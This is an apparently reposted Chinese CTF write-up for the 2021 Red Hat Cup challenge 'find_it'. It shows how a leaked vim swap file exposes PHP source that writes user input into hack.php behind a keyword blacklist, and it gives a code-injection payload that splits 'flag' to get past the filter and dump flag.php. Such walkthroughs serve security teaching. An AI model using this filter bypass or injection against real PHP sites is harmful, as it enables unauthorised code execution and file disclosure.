2021红帽杯 find_it
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021红帽杯 find_it相关的知识,希望对你有一定的参考价值。
考点
备份文件、源码泄露
思路
题目提示我们
I Can't view my php files?!
,猜测是备份文件,御剑扫一下发现存在robots.txt
访问
1ndexx.php
,发现并不存在;由于Linux平台下的存在.xxxx.php.swp
、.xxxx.php.swo
、.xxxx.php
等文件格式,尝试访问一下.1ndexx.php.swp
,存在源码泄露
发现过滤了一堆东西,感觉没得啥子可以利用的点了,由于可以写入文件,没有过滤掉
show_source
,我们利用<?php%20show_source("fl"."ag.php");
将flag打印出来
Payload
1ndexx.php.swp文件源码
<?php $link = mysql_connect('localhost', 'ctfhub', 'ctfhub'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}
#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\\~|\\^|\\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
Payload:
先利用 ?code=<?=%20show_source("fl"."ag.php");?> 写入php代码
再访问hack.php
以上是关于2021红帽杯 find_it的主要内容,如果未能解决你的问题,请参考以下文章